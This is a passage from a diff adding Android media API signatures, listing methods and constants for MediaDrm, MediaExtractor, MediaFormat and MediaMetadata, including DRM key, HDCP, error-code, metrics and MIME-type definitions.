+    method @Deprecated public void releaseAllSecureStops();
+    method public void releaseSecureStops(@NonNull byte[]);
+    method public void removeAllSecureStops();
+    method public void removeKeys(@NonNull byte[]);
+    method public void removeOfflineLicense(@NonNull byte[]);
+    method public void removeSecureStop(@NonNull byte[]);
+    method public boolean requiresSecureDecoder(@NonNull String);
+    method public boolean requiresSecureDecoder(@NonNull String, @android.media.MediaDrm.SecurityLevel int);
+    method public void restoreKeys(@NonNull byte[], @NonNull byte[]);
+    method public void setOnEventListener(@Nullable android.media.MediaDrm.OnEventListener);
+    method public void setOnEventListener(@Nullable android.media.MediaDrm.OnEventListener, @Nullable android.os.Handler);
+    method public void setOnEventListener(@NonNull java.util.concurrent.Executor, @NonNull android.media.MediaDrm.OnEventListener);
+    method public void setOnExpirationUpdateListener(@Nullable android.media.MediaDrm.OnExpirationUpdateListener, @Nullable android.os.Handler);
+    method public void setOnExpirationUpdateListener(@NonNull java.util.concurrent.Executor, @NonNull android.media.MediaDrm.OnExpirationUpdateListener);
+    method public void setOnKeyStatusChangeListener(@Nullable android.media.MediaDrm.OnKeyStatusChangeListener, @Nullable android.os.Handler);
+    method public void setOnKeyStatusChangeListener(@NonNull java.util.concurrent.Executor, @NonNull android.media.MediaDrm.OnKeyStatusChangeListener);
+    method public void setOnSessionLostStateListener(@Nullable android.media.MediaDrm.OnSessionLostStateListener, @Nullable android.os.Handler);
+    method public void setOnSessionLostStateListener(@NonNull java.util.concurrent.Executor, @Nullable android.media.MediaDrm.OnSessionLostStateListener);
+    method public void setPropertyByteArray(@NonNull String, @NonNull byte[]);
+    method public void setPropertyString(@NonNull String, @NonNull String);
+    field @Deprecated public static final int EVENT_KEY_EXPIRED = 3; // 0x3
+    field public static final int EVENT_KEY_REQUIRED = 2; // 0x2
+    field @Deprecated public static final int EVENT_PROVISION_REQUIRED = 1; // 0x1
+    field public static final int EVENT_SESSION_RECLAIMED = 5; // 0x5
+    field public static final int EVENT_VENDOR_DEFINED = 4; // 0x4
+    field public static final int HDCP_LEVEL_UNKNOWN = 0; // 0x0
+    field public static final int HDCP_NONE = 1; // 0x1
+    field public static final int HDCP_NO_DIGITAL_OUTPUT = 2147483647; // 0x7fffffff
+    field public static final int HDCP_V1 = 2; // 0x2
+    field public static final int HDCP_V2 = 3; // 0x3
+    field public static final int HDCP_V2_1 = 4; // 0x4
+    field public static final int HDCP_V2_2 = 5; // 0x5
+    field public static final int HDCP_V2_3 = 6; // 0x6
+    field public static final int KEY_TYPE_OFFLINE = 2; // 0x2
+    field public static final int KEY_TYPE_RELEASE = 3; // 0x3
+    field public static final int KEY_TYPE_STREAMING = 1; // 0x1
+    field public static final int OFFLINE_LICENSE_STATE_RELEASED = 2; // 0x2
+    field public static final int OFFLINE_LICENSE_STATE_UNKNOWN = 0; // 0x0
+    field public static final int OFFLINE_LICENSE_STATE_USABLE = 1; // 0x1
+    field public static final String PROPERTY_ALGORITHMS = "algorithms";
+    field public static final String PROPERTY_DESCRIPTION = "description";
+    field public static final String PROPERTY_DEVICE_UNIQUE_ID = "deviceUniqueId";
+    field public static final String PROPERTY_VENDOR = "vendor";
+    field public static final String PROPERTY_VERSION = "version";
+    field public static final int SECURITY_LEVEL_HW_SECURE_ALL = 5; // 0x5
+    field public static final int SECURITY_LEVEL_HW_SECURE_CRYPTO = 3; // 0x3
+    field public static final int SECURITY_LEVEL_HW_SECURE_DECODE = 4; // 0x4
+    field public static final int SECURITY_LEVEL_SW_SECURE_CRYPTO = 1; // 0x1
+    field public static final int SECURITY_LEVEL_SW_SECURE_DECODE = 2; // 0x2
+    field public static final int SECURITY_LEVEL_UNKNOWN = 0; // 0x0
+  }
+
+  public final class MediaDrm.CryptoSession {
+    method @NonNull public byte[] decrypt(@NonNull byte[], @NonNull byte[], @NonNull byte[]);
+    method @NonNull public byte[] encrypt(@NonNull byte[], @NonNull byte[], @NonNull byte[]);
+    method @NonNull public byte[] sign(@NonNull byte[], @NonNull byte[]);
+    method public boolean verify(@NonNull byte[], @NonNull byte[], @NonNull byte[]);
+  }
+
+  public static final class MediaDrm.ErrorCodes {
+    field public static final int ERROR_CERTIFICATE_MALFORMED = 10; // 0xa
+    field public static final int ERROR_CERTIFICATE_MISSING = 11; // 0xb
+    field public static final int ERROR_CRYPTO_LIBRARY = 12; // 0xc
+    field public static final int ERROR_FRAME_TOO_LARGE = 8; // 0x8
+    field public static final int ERROR_GENERIC_OEM = 13; // 0xd
+    field public static final int ERROR_GENERIC_PLUGIN = 14; // 0xe
+    field public static final int ERROR_INIT_DATA = 15; // 0xf
+    field public static final int ERROR_INSUFFICIENT_OUTPUT_PROTECTION = 4; // 0x4
+    field public static final int ERROR_INSUFFICIENT_SECURITY = 7; // 0x7
+    field public static final int ERROR_KEY_EXPIRED = 2; // 0x2
+    field public static final int ERROR_KEY_NOT_LOADED = 16; // 0x10
+    field public static final int ERROR_LICENSE_PARSE = 17; // 0x11
+    field public static final int ERROR_LICENSE_POLICY = 18; // 0x12
+    field public static final int ERROR_LICENSE_RELEASE = 19; // 0x13
+    field public static final int ERROR_LICENSE_REQUEST_REJECTED = 20; // 0x14
+    field public static final int ERROR_LICENSE_RESTORE = 21; // 0x15
+    field public static final int ERROR_LICENSE_STATE = 22; // 0x16
+    field public static final int ERROR_LOST_STATE = 9; // 0x9
+    field public static final int ERROR_MEDIA_FRAMEWORK = 23; // 0x17
+    field public static final int ERROR_NO_KEY = 1; // 0x1
+    field public static final int ERROR_PROVISIONING_CERTIFICATE = 24; // 0x18
+    field public static final int ERROR_PROVISIONING_CONFIG = 25; // 0x19
+    field public static final int ERROR_PROVISIONING_PARSE = 26; // 0x1a
+    field public static final int ERROR_PROVISIONING_REQUEST_REJECTED = 27; // 0x1b
+    field public static final int ERROR_PROVISIONING_RETRY = 28; // 0x1c
+    field public static final int ERROR_RESOURCE_BUSY = 3; // 0x3
+    field public static final int ERROR_RESOURCE_CONTENTION = 29; // 0x1d
+    field public static final int ERROR_SECURE_STOP_RELEASE = 30; // 0x1e
+    field public static final int ERROR_SESSION_NOT_OPENED = 5; // 0x5
+    field public static final int ERROR_STORAGE_READ = 31; // 0x1f
+    field public static final int ERROR_STORAGE_WRITE = 32; // 0x20
+    field public static final int ERROR_UNKNOWN = 0; // 0x0
+    field public static final int ERROR_UNSUPPORTED_OPERATION = 6; // 0x6
+    field public static final int ERROR_ZERO_SUBSAMPLES = 33; // 0x21
+  }
+
+  @Deprecated @IntDef({android.media.MediaDrm.HDCP_LEVEL_UNKNOWN, android.media.MediaDrm.HDCP_NONE, android.media.MediaDrm.HDCP_V1, android.media.MediaDrm.HDCP_V2, android.media.MediaDrm.HDCP_V2_1, android.media.MediaDrm.HDCP_V2_2, android.media.MediaDrm.HDCP_V2_3, android.media.MediaDrm.HDCP_NO_DIGITAL_OUTPUT}) @java.lang.annotation.Retention(java.lang.annotation.RetentionPolicy.SOURCE) public static @interface MediaDrm.HdcpLevel {
+  }
+
+  public static final class MediaDrm.KeyRequest {
+    method @NonNull public byte[] getData();
+    method @NonNull public String getDefaultUrl();
+    method public int getRequestType();
+    field public static final int REQUEST_TYPE_INITIAL = 0; // 0x0
+    field public static final int REQUEST_TYPE_NONE = 3; // 0x3
+    field public static final int REQUEST_TYPE_RELEASE = 2; // 0x2
+    field public static final int REQUEST_TYPE_RENEWAL = 1; // 0x1
+    field public static final int REQUEST_TYPE_UPDATE = 4; // 0x4
+  }
+
+  public static final class MediaDrm.KeyStatus {
+    method @NonNull public byte[] getKeyId();
+    method public int getStatusCode();
+    field public static final int STATUS_EXPIRED = 1; // 0x1
+    field public static final int STATUS_INTERNAL_ERROR = 4; // 0x4
+    field public static final int STATUS_OUTPUT_NOT_ALLOWED = 2; // 0x2
+    field public static final int STATUS_PENDING = 3; // 0x3
+    field public static final int STATUS_USABLE = 0; // 0x0
+    field public static final int STATUS_USABLE_IN_FUTURE = 5; // 0x5
+  }
+
+  public static final class MediaDrm.LogMessage {
+    method @NonNull public String getMessage();
+    method public int getPriority();
+    method public long getTimestampMillis();
+  }
+
+  public static final class MediaDrm.MediaDrmStateException extends java.lang.IllegalStateException {
+    method @NonNull public String getDiagnosticInfo();
+    method public int getErrorCode();
+    method public boolean isTransient();
+  }
+
+  public static final class MediaDrm.MetricsConstants {
+    field public static final String CLOSE_SESSION_ERROR_COUNT = "drm.mediadrm.close_session.error.count";
+    field public static final String CLOSE_SESSION_ERROR_LIST = "drm.mediadrm.close_session.error.list";
+    field public static final String CLOSE_SESSION_OK_COUNT = "drm.mediadrm.close_session.ok.count";
+    field public static final String EVENT_KEY_EXPIRED_COUNT = "drm.mediadrm.event.KEY_EXPIRED.count";
+    field public static final String EVENT_KEY_NEEDED_COUNT = "drm.mediadrm.event.KEY_NEEDED.count";
+    field public static final String EVENT_PROVISION_REQUIRED_COUNT = "drm.mediadrm.event.PROVISION_REQUIRED.count";
+    field public static final String EVENT_SESSION_RECLAIMED_COUNT = "drm.mediadrm.event.SESSION_RECLAIMED.count";
+    field public static final String EVENT_VENDOR_DEFINED_COUNT = "drm.mediadrm.event.VENDOR_DEFINED.count";
+    field public static final String GET_DEVICE_UNIQUE_ID_ERROR_COUNT = "drm.mediadrm.get_device_unique_id.error.count";
+    field public static final String GET_DEVICE_UNIQUE_ID_ERROR_LIST = "drm.mediadrm.get_device_unique_id.error.list";
+    field public static final String GET_DEVICE_UNIQUE_ID_OK_COUNT = "drm.mediadrm.get_device_unique_id.ok.count";
+    field public static final String GET_KEY_REQUEST_ERROR_COUNT = "drm.mediadrm.get_key_request.error.count";
+    field public static final String GET_KEY_REQUEST_ERROR_LIST = "drm.mediadrm.get_key_request.error.list";
+    field public static final String GET_KEY_REQUEST_OK_COUNT = "drm.mediadrm.get_key_request.ok.count";
+    field public static final String GET_KEY_REQUEST_OK_TIME_MICROS = "drm.mediadrm.get_key_request.ok.average_time_micros";
+    field public static final String GET_PROVISION_REQUEST_ERROR_COUNT = "drm.mediadrm.get_provision_request.error.count";
+    field public static final String GET_PROVISION_REQUEST_ERROR_LIST = "drm.mediadrm.get_provision_request.error.list";
+    field public static final String GET_PROVISION_REQUEST_OK_COUNT = "drm.mediadrm.get_provision_request.ok.count";
+    field public static final String KEY_STATUS_EXPIRED_COUNT = "drm.mediadrm.key_status.EXPIRED.count";
+    field public static final String KEY_STATUS_INTERNAL_ERROR_COUNT = "drm.mediadrm.key_status.INTERNAL_ERROR.count";
+    field public static final String KEY_STATUS_OUTPUT_NOT_ALLOWED_COUNT = "drm.mediadrm.key_status_change.OUTPUT_NOT_ALLOWED.count";
+    field public static final String KEY_STATUS_PENDING_COUNT = "drm.mediadrm.key_status_change.PENDING.count";
+    field public static final String KEY_STATUS_USABLE_COUNT = "drm.mediadrm.key_status_change.USABLE.count";
+    field public static final String OPEN_SESSION_ERROR_COUNT = "drm.mediadrm.open_session.error.count";
+    field public static final String OPEN_SESSION_ERROR_LIST = "drm.mediadrm.open_session.error.list";
+    field public static final String OPEN_SESSION_OK_COUNT = "drm.mediadrm.open_session.ok.count";
+    field public static final String PROVIDE_KEY_RESPONSE_ERROR_COUNT = "drm.mediadrm.provide_key_response.error.count";
+    field public static final String PROVIDE_KEY_RESPONSE_ERROR_LIST = "drm.mediadrm.provide_key_response.error.list";
+    field public static final String PROVIDE_KEY_RESPONSE_OK_COUNT = "drm.mediadrm.provide_key_response.ok.count";
+    field public static final String PROVIDE_KEY_RESPONSE_OK_TIME_MICROS = "drm.mediadrm.provide_key_response.ok.average_time_micros";
+    field public static final String PROVIDE_PROVISION_RESPONSE_ERROR_COUNT = "drm.mediadrm.provide_provision_response.error.count";
+    field public static final String PROVIDE_PROVISION_RESPONSE_ERROR_LIST = "drm.mediadrm.provide_provision_response.error.list";
+    field public static final String PROVIDE_PROVISION_RESPONSE_OK_COUNT = "drm.mediadrm.provide_provision_response.ok.count";
+    field public static final String SESSION_END_TIMES_MS = "drm.mediadrm.session_end_times_ms";
+    field public static final String SESSION_START_TIMES_MS = "drm.mediadrm.session_start_times_ms";
+  }
+
+  public static interface MediaDrm.OnEventListener {
+    method public void onEvent(@NonNull android.media.MediaDrm, @Nullable byte[], int, int, @Nullable byte[]);
+  }
+
+  public static interface MediaDrm.OnExpirationUpdateListener {
+    method public void onExpirationUpdate(@NonNull android.media.MediaDrm, @NonNull byte[], long);
+  }
+
+  public static interface MediaDrm.OnKeyStatusChangeListener {
+    method public void onKeyStatusChange(@NonNull android.media.MediaDrm, @NonNull byte[], @NonNull java.util.List<android.media.MediaDrm.KeyStatus>, boolean);
+  }
+
+  public static interface MediaDrm.OnSessionLostStateListener {
+    method public void onSessionLostState(@NonNull android.media.MediaDrm, @NonNull byte[]);
+  }
+
+  public final class MediaDrm.PlaybackComponent {
+    method @NonNull public android.media.metrics.LogSessionId getLogSessionId();
+    method public void setLogSessionId(@NonNull android.media.metrics.LogSessionId);
+  }
+
+  public static final class MediaDrm.ProvisionRequest {
+    method @NonNull public byte[] getData();
+    method @NonNull public String getDefaultUrl();
+  }
+
+  @Deprecated @IntDef({android.media.MediaDrm.SECURITY_LEVEL_UNKNOWN, android.media.MediaDrm.SECURITY_LEVEL_SW_SECURE_CRYPTO, android.media.MediaDrm.SECURITY_LEVEL_SW_SECURE_DECODE, android.media.MediaDrm.SECURITY_LEVEL_HW_SECURE_CRYPTO, android.media.MediaDrm.SECURITY_LEVEL_HW_SECURE_DECODE, android.media.MediaDrm.SECURITY_LEVEL_HW_SECURE_ALL}) @java.lang.annotation.Retention(java.lang.annotation.RetentionPolicy.SOURCE) public static @interface MediaDrm.SecurityLevel {
+  }
+
+  public static final class MediaDrm.SessionException extends java.lang.RuntimeException {
+    ctor public MediaDrm.SessionException(int, @Nullable String);
+    method @Deprecated public int getErrorCode();
+    method public boolean isTransient();
+    field @Deprecated public static final int ERROR_RESOURCE_CONTENTION = 1; // 0x1
+    field @Deprecated public static final int ERROR_UNKNOWN = 0; // 0x0
+  }
+
+  public class MediaDrmException extends java.lang.Exception {
+    ctor public MediaDrmException(String);
+  }
+
+  public class MediaDrmResetException extends java.lang.IllegalStateException {
+    ctor public MediaDrmResetException(String);
+  }
+
+  public final class MediaExtractor {
+    ctor public MediaExtractor();
+    method public boolean advance();
+    method protected void finalize();
+    method @NonNull public java.util.List<android.media.AudioPresentation> getAudioPresentations(int);
+    method public long getCachedDuration();
+    method public android.media.MediaExtractor.CasInfo getCasInfo(int);
+    method public android.media.DrmInitData getDrmInitData();
+    method @NonNull public android.media.metrics.LogSessionId getLogSessionId();
+    method public android.os.PersistableBundle getMetrics();
+    method @Nullable public java.util.Map<java.util.UUID,byte[]> getPsshInfo();
+    method public boolean getSampleCryptoInfo(@NonNull android.media.MediaCodec.CryptoInfo);
+    method public int getSampleFlags();
+    method public long getSampleSize();
+    method public long getSampleTime();
+    method public int getSampleTrackIndex();
+    method public int getTrackCount();
+    method @NonNull public android.media.MediaFormat getTrackFormat(int);
+    method public boolean hasCacheReachedEndOfStream();
+    method public int readSampleData(@NonNull java.nio.ByteBuffer, int);
+    method public void release();
+    method public void seekTo(long, int);
+    method public void selectTrack(int);
+    method public void setDataSource(@NonNull android.media.MediaDataSource) throws java.io.IOException;
+    method public void setDataSource(@NonNull android.content.Context, @NonNull android.net.Uri, @Nullable java.util.Map<java.lang.String,java.lang.String>) throws java.io.IOException;
+    method public void setDataSource(@NonNull String, @Nullable java.util.Map<java.lang.String,java.lang.String>) throws java.io.IOException;
+    method public void setDataSource(@NonNull String) throws java.io.IOException;
+    method public void setDataSource(@NonNull android.content.res.AssetFileDescriptor) throws java.io.IOException, java.lang.IllegalArgumentException, java.lang.IllegalStateException;
+    method public void setDataSource(@NonNull java.io.FileDescriptor) throws java.io.IOException;
+    method public void setDataSource(@NonNull java.io.FileDescriptor, long, long) throws java.io.IOException;
+    method public void setLogSessionId(@NonNull android.media.metrics.LogSessionId);
+    method public void setMediaCas(@NonNull android.media.MediaCas);
+    method public void unselectTrack(int);
+    field public static final int SAMPLE_FLAG_ENCRYPTED = 2; // 0x2
+    field public static final int SAMPLE_FLAG_PARTIAL_FRAME = 4; // 0x4
+    field public static final int SAMPLE_FLAG_SYNC = 1; // 0x1
+    field public static final int SEEK_TO_CLOSEST_SYNC = 2; // 0x2
+    field public static final int SEEK_TO_NEXT_SYNC = 1; // 0x1
+    field public static final int SEEK_TO_PREVIOUS_SYNC = 0; // 0x0
+  }
+
+  public static final class MediaExtractor.CasInfo {
+    method @Nullable public byte[] getPrivateData();
+    method public android.media.MediaCas.Session getSession();
+    method public int getSystemId();
+  }
+
+  public static final class MediaExtractor.MetricsConstants {
+    field public static final String FORMAT = "android.media.mediaextractor.fmt";
+    field public static final String MIME_TYPE = "android.media.mediaextractor.mime";
+    field public static final String TRACKS = "android.media.mediaextractor.ntrk";
+  }
+
+  public final class MediaFormat {
+    ctor public MediaFormat();
+    ctor public MediaFormat(@NonNull android.media.MediaFormat);
+    method public boolean containsFeature(@NonNull String);
+    method public boolean containsKey(@NonNull String);
+    method @NonNull public static android.media.MediaFormat createAudioFormat(@NonNull String, int, int);
+    method @NonNull public static android.media.MediaFormat createSubtitleFormat(@NonNull String, String);
+    method @NonNull public static android.media.MediaFormat createVideoFormat(@NonNull String, int, int);
+    method @Nullable public java.nio.ByteBuffer getByteBuffer(@NonNull String);
+    method @NonNull public java.nio.ByteBuffer getByteBuffer(@NonNull String, @NonNull java.nio.ByteBuffer);
+    method public boolean getFeatureEnabled(@NonNull String);
+    method @NonNull public java.util.Set<java.lang.String> getFeatures();
+    method public float getFloat(@NonNull String);
+    method public float getFloat(@NonNull String, float);
+    method public int getInteger(@NonNull String);
+    method public int getInteger(@NonNull String, int);
+    method @NonNull public java.util.Set<java.lang.String> getKeys();
+    method public long getLong(@NonNull String);
+    method public long getLong(@NonNull String, long);
+    method @Nullable public Number getNumber(@NonNull String);
+    method @NonNull public Number getNumber(@NonNull String, @NonNull Number);
+    method @Nullable public String getString(@NonNull String);
+    method @NonNull public String getString(@NonNull String, @NonNull String);
+    method public int getValueTypeForKey(@NonNull String);
+    method public void removeFeature(@NonNull String);
+    method public void removeKey(@NonNull String);
+    method public void setByteBuffer(@NonNull String, @Nullable java.nio.ByteBuffer);
+    method public void setFeatureEnabled(@NonNull String, boolean);
+    method public void setFloat(@NonNull String, float);
+    method public void setInteger(@NonNull String, int);
+    method public void setLong(@NonNull String, long);
+    method public void setString(@NonNull String, @Nullable String);
+    field public static final int COLOR_RANGE_FULL = 1; // 0x1
+    field public static final int COLOR_RANGE_LIMITED = 2; // 0x2
+    field public static final int COLOR_STANDARD_BT2020 = 6; // 0x6
+    field public static final int COLOR_STANDARD_BT601_NTSC = 4; // 0x4
+    field public static final int COLOR_STANDARD_BT601_PAL = 2; // 0x2
+    field public static final int COLOR_STANDARD_BT709 = 1; // 0x1
+    field public static final int COLOR_TRANSFER_HLG = 7; // 0x7
+    field public static final int COLOR_TRANSFER_LINEAR = 1; // 0x1
+    field public static final int COLOR_TRANSFER_SDR_VIDEO = 3; // 0x3
+    field public static final int COLOR_TRANSFER_ST2084 = 6; // 0x6
+    field public static final String KEY_AAC_DRC_ALBUM_MODE = "aac-drc-album-mode";
+    field public static final String KEY_AAC_DRC_ATTENUATION_FACTOR = "aac-drc-cut-level";
+    field public static final String KEY_AAC_DRC_BOOST_FACTOR = "aac-drc-boost-level";
+    field public static final String KEY_AAC_DRC_EFFECT_TYPE = "aac-drc-effect-type";
+    field public static final String KEY_AAC_DRC_HEAVY_COMPRESSION = "aac-drc-heavy-compression";
+    field public static final String KEY_AAC_DRC_OUTPUT_LOUDNESS = "aac-drc-output-loudness";
+    field public static final String KEY_AAC_DRC_TARGET_REFERENCE_LEVEL = "aac-target-ref-level";
+    field public static final String KEY_AAC_ENCODED_TARGET_LEVEL = "aac-encoded-target-level";
+    field public static final String KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT = "aac-max-output-channel_count";
+    field public static final String KEY_AAC_PROFILE = "aac-profile";
+    field public static final String KEY_AAC_SBR_MODE = "aac-sbr-mode";
+    field public static final String KEY_ALLOW_FRAME_DROP = "allow-frame-drop";
+    field public static final String KEY_AUDIO_SESSION_ID = "audio-session-id";
+    field public static final String KEY_BITRATE_MODE = "bitrate-mode";
+    field public static final String KEY_BIT_RATE = "bitrate";
+    field public static final String KEY_CAPTION_SERVICE_NUMBER = "caption-service-number";
+    field public static final String KEY_CAPTURE_RATE = "capture-rate";
+    field public static final String KEY_CHANNEL_COUNT = "channel-count";
+    field public static final String KEY_CHANNEL_MASK = "channel-mask";
+    field public static final String KEY_CODECS_STRING = "codecs-string";
+    field public static final String KEY_COLOR_FORMAT = "color-format";
+    field public static final String KEY_COLOR_RANGE = "color-range";
+    field public static final String KEY_COLOR_STANDARD = "color-standard";
+    field public static final String KEY_COLOR_TRANSFER = "color-transfer";
+    field public static final String KEY_COLOR_TRANSFER_REQUEST = "color-transfer-request";
+    field public static final String KEY_COMPLEXITY = "complexity";
+    field public static final String KEY_CREATE_INPUT_SURFACE_SUSPENDED = "create-input-buffers-suspended";
+    field public static final String KEY_DURATION = "durationUs";
+    field public static final String KEY_ENCODER_DELAY = "encoder-delay";
+    field public static final String KEY_ENCODER_PADDING = "encoder-padding";
+    field public static final String KEY_FLAC_COMPRESSION_LEVEL = "flac-compression-level";
+    field public static final String KEY_FRAME_RATE = "frame-rate";
+    field public static final String KEY_GRID_COLUMNS = "grid-cols";
+    field public static final String KEY_GRID_ROWS = "grid-rows";
+    field public static final String KEY_HAPTIC_CHANNEL_COUNT = "haptic-channel-count";
+    field public static final String KEY_HARDWARE_AV_SYNC_ID = "hw-av-sync-id";
+    field public static final String KEY_HDR10_PLUS_INFO = "hdr10-plus-info";
+    field public static final String KEY_HDR_STATIC_INFO = "hdr-static-info";
+    field public static final String KEY_HEIGHT = "height";
+    field public static final String KEY_INTRA_REFRESH_PERIOD = "intra-refresh-period";
+    field public static final String KEY_IS_ADTS = "is-adts";
+    field public static final String KEY_IS_AUTOSELECT = "is-autoselect";
+    field public static final String KEY_IS_DEFAULT = "is-default";
+    field public static final String KEY_IS_FORCED_SUBTITLE = "is-forced-subtitle";
+    field public static final String KEY_I_FRAME_INTERVAL = "i-frame-interval";
+    field public static final String KEY_LANGUAGE = "language";
+    field public static final String KEY_LATENCY = "latency";
+    field public static final String KEY_LEVEL = "level";
+    field public static final String KEY_LOW_LATENCY = "low-latency";
+    field public static final String KEY_MAX_B_FRAMES = "max-bframes";
+    field public static final String KEY_MAX_FPS_TO_ENCODER = "max-fps-to-encoder";
+    field public static final String KEY_MAX_HEIGHT = "max-height";
+    field public static final String KEY_MAX_INPUT_SIZE = "max-input-size";
+    field public static final String KEY_MAX_PTS_GAP_TO_ENCODER = "max-pts-gap-to-encoder";
+    field public static final String KEY_MAX_WIDTH = "max-width";
+    field public static final String KEY_MIME = "mime";
+    field public static final String KEY_MPEGH_COMPATIBLE_SETS = "mpegh-compatible-sets";
+    field public static final String KEY_MPEGH_PROFILE_LEVEL_INDICATION = "mpegh-profile-level-indication";
+    field public static final String KEY_MPEGH_REFERENCE_CHANNEL_LAYOUT = "mpegh-reference-channel-layout";
+    field public static final String KEY_OPERATING_RATE = "operating-rate";
+    field public static final String KEY_OUTPUT_REORDER_DEPTH = "output-reorder-depth";
+    field public static final String KEY_PCM_ENCODING = "pcm-encoding";
+    field public static final String KEY_PIXEL_ASPECT_RATIO_HEIGHT = "sar-height";
+    field public static final String KEY_PIXEL_ASPECT_RATIO_WIDTH = "sar-width";
+    field public static final String KEY_PREPEND_HEADER_TO_SYNC_FRAMES = "prepend-sps-pps-to-idr-frames";
+    field public static final String KEY_PRIORITY = "priority";
+    field public static final String KEY_PROFILE = "profile";
+    field public static final String KEY_PUSH_BLANK_BUFFERS_ON_STOP = "push-blank-buffers-on-shutdown";
+    field public static final String KEY_QUALITY = "quality";
+    field public static final String KEY_REPEAT_PREVIOUS_FRAME_AFTER = "repeat-previous-frame-after";
+    field public static final String KEY_ROTATION = "rotation-degrees";
+    field public static final String KEY_SAMPLE_RATE = "sample-rate";
+    field public static final String KEY_SLICE_HEIGHT = "slice-height";
+    field public static final String KEY_SLOW_MOTION_MARKERS = "slow-motion-markers";
+    field public static final String KEY_STRIDE = "stride";
+    field public static final String KEY_TEMPORAL_LAYERING = "ts-schema";
+    field public static final String KEY_TILE_HEIGHT = "tile-height";
+    field public static final String KEY_TILE_WIDTH = "tile-width";
+    field public static final String KEY_TRACK_ID = "track-id";
+    field public static final String KEY_VIDEO_QP_B_MAX = "video-qp-b-max";
+    field public static final String KEY_VIDEO_QP_B_MIN = "video-qp-b-min";
+    field public static final String KEY_VIDEO_QP_I_MAX = "video-qp-i-max";
+    field public static final String KEY_VIDEO_QP_I_MIN = "video-qp-i-min";
+    field public static final String KEY_VIDEO_QP_MAX = "video-qp-max";
+    field public static final String KEY_VIDEO_QP_MIN = "video-qp-min";
+    field public static final String KEY_VIDEO_QP_P_MAX = "video-qp-p-max";
+    field public static final String KEY_VIDEO_QP_P_MIN = "video-qp-p-min";
+    field public static final String KEY_WIDTH = "width";
+    field public static final String MIMETYPE_AUDIO_AAC = "audio/mp4a-latm";
+    field public static final String MIMETYPE_AUDIO_AC3 = "audio/ac3";
+    field public static final String MIMETYPE_AUDIO_AC4 = "audio/ac4";
+    field public static final String MIMETYPE_AUDIO_AMR_NB = "audio/3gpp";
+    field public static final String MIMETYPE_AUDIO_AMR_WB = "audio/amr-wb";
+    field public static final String MIMETYPE_AUDIO_EAC3 = "audio/eac3";
+    field public static final String MIMETYPE_AUDIO_EAC3_JOC = "audio/eac3-joc";
+    field public static final String MIMETYPE_AUDIO_FLAC = "audio/flac";
+    field public static final String MIMETYPE_AUDIO_G711_ALAW = "audio/g711-alaw";
+    field public static final String MIMETYPE_AUDIO_G711_MLAW = "audio/g711-mlaw";
+    field public static final String MIMETYPE_AUDIO_MPEG = "audio/mpeg";
+    field public static final String MIMETYPE_AUDIO_MPEGH_MHA1 = "audio/mha1";
+    field public static final String MIMETYPE_AUDIO_MPEGH_MHM1 = "audio/mhm1";
+    field public static final String MIMETYPE_AUDIO_MSGSM = "audio/gsm";
+    field public static final String MIMETYPE_AUDIO_OPUS = "audio/opus";
+    field public static final String MIMETYPE_AUDIO_QCELP = "audio/qcelp";
+    field public static final String MIMETYPE_AUDIO_RAW = "audio/raw";
+    field public static final String MIMETYPE_AUDIO_SCRAMBLED = "audio/scrambled";
+    field public static final String MIMETYPE_AUDIO_VORBIS = "audio/vorbis";
+    field public static final String MIMETYPE_IMAGE_ANDROID_HEIC = "image/vnd.android.heic";
+    field public static final String MIMETYPE_TEXT_CEA_608 = "text/cea-608";
+    field public static final String MIMETYPE_TEXT_CEA_708 = "text/cea-708";
+    field public static final String MIMETYPE_TEXT_SUBRIP = "application/x-subrip";
+    field public static final String MIMETYPE_TEXT_VTT = "text/vtt";
+    field public static final String MIMETYPE_VIDEO_AV1 = "video/av01";
+    field public static final String MIMETYPE_VIDEO_AVC = "video/avc";
+    field public static final String MIMETYPE_VIDEO_DOLBY_VISION = "video/dolby-vision";
+    field public static final String MIMETYPE_VIDEO_H263 = "video/3gpp";
+    field public static final String MIMETYPE_VIDEO_HEVC = "video/hevc";
+    field public static final String MIMETYPE_VIDEO_MPEG2 = "video/mpeg2";
+    field public static final String MIMETYPE_VIDEO_MPEG4 = "video/mp4v-es";
+    field public static final String MIMETYPE_VIDEO_RAW = "video/raw";
+    field public static final String MIMETYPE_VIDEO_SCRAMBLED = "video/scrambled";
+    field public static final String MIMETYPE_VIDEO_VP8 = "video/x-vnd.on2.vp8";
+    field public static final String MIMETYPE_VIDEO_VP9 = "video/x-vnd.on2.vp9";
+    field public static final int TYPE_BYTE_BUFFER = 5; // 0x5
+    field public static final int TYPE_FLOAT = 3; // 0x3
+    field public static final int TYPE_INTEGER = 1; // 0x1
+    field public static final int TYPE_LONG = 2; // 0x2
+    field public static final int TYPE_NULL = 0; // 0x0
+    field public static final int TYPE_STRING = 4; // 0x4
+  }
+
+  public final class MediaMetadata implements android.os.Parcelable {
+    method public boolean containsKey(String);
+    method public int describeContents();
+    method public android.graphics.Bitmap getBitmap(String);
+    method @IntRange(from=1) public int getBitmapDimensionLimit();
+    method @NonNull public android.media.MediaDescription getDescription();
+    method public long getLong(String);
+    method public android.media.Rating getRating(String);
+    method public String getString(String);
+    method public CharSequence getText(String);
+    method public java.util.Set<java.lang.String> keySet();
+    method public int size();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.MediaMetadata> CREATOR;
+    field public static final String METADATA_KEY_ALBUM = "android.media.metadata.ALBUM";
+    field public static final String METADATA_KEY_ALBUM_ART = "android.media.metadata.ALBUM_ART";
+    field public static final String METADATA_KEY_ALBUM_ARTIST = "android.media.metadata.ALBUM_ARTIST";
+    field public static final String METADATA_KEY_ALBUM_ART_URI = "android.media.metadata.ALBUM_ART_URI";
+    field public static final String METADATA_KEY_ART = "android.media.metadata.ART";
+    field public static final String METADATA_KEY_ARTIST = "android.media.metadata.ARTIST";
+    field public static final String METADATA_KEY_ART_URI = "android.media.metadata.ART_URI";
+    field public static final String METADATA_KEY_AUTHOR = "android.media.metadata.AUTHOR";
+    field public static final String METADATA_KEY_BT_FOLDER_TYPE = "android.media.metadata.BT_FOLDER_TYPE";
+    field public static final String METADATA_KEY_COMPILATION = "android.media.metadata.COMPILATION";
+    field public static final String METADATA_KEY_COMPOSER = "android.media.metadata.COMPOSER";
+    field public static final String METADATA_KEY_DATE = "android.media.metadata.DATE";
+    field public static final String METADATA_KEY_DISC_NUMBER = "android.media.metadata.DISC_NUMBER";
